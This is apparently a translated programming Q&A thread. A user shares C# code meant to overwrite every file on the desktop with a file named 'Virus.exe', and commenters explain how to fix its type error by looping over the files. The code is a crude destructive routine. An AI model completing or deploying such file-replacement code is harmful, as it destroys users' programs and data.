我用這個來查找和替換的exe文件您可以將IEnumerated字符串轉換爲普通字符串嗎?
public static void Replace()
{
string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file
IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files
string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary)
File.Replace (origFile, toOverwrite, backupFile); //replaces files
}
public static IEnumerable<string> EnumerateFiles()
{
string pathToSearch = Environment.GetFolderPath (Environment.SpecialFolder.DesktopDirectory); //Sets search directory to the desktop
IEnumerable<string> exeFiles = Directory.EnumerateFiles (pathToSearch); //Searches desktop for all exe files
return exeFiles; //Returns enumerated list of files
}
但是當我做了File.Replace方法,它告訴我,我不能IEnumerable的字符串轉換成一個正常的字符串。如何更改字符串類型而不更改值?
你EnumerateFiles可以在exeFiles返回多個文件名。此外,如果您將其轉換,我無法看到如何在調用File.Replace時使用它需要一個文件 – Steve
字符串集合不是字符串。您需要遍歷集合並對每個集合執行'File.Replace'。 – user1666620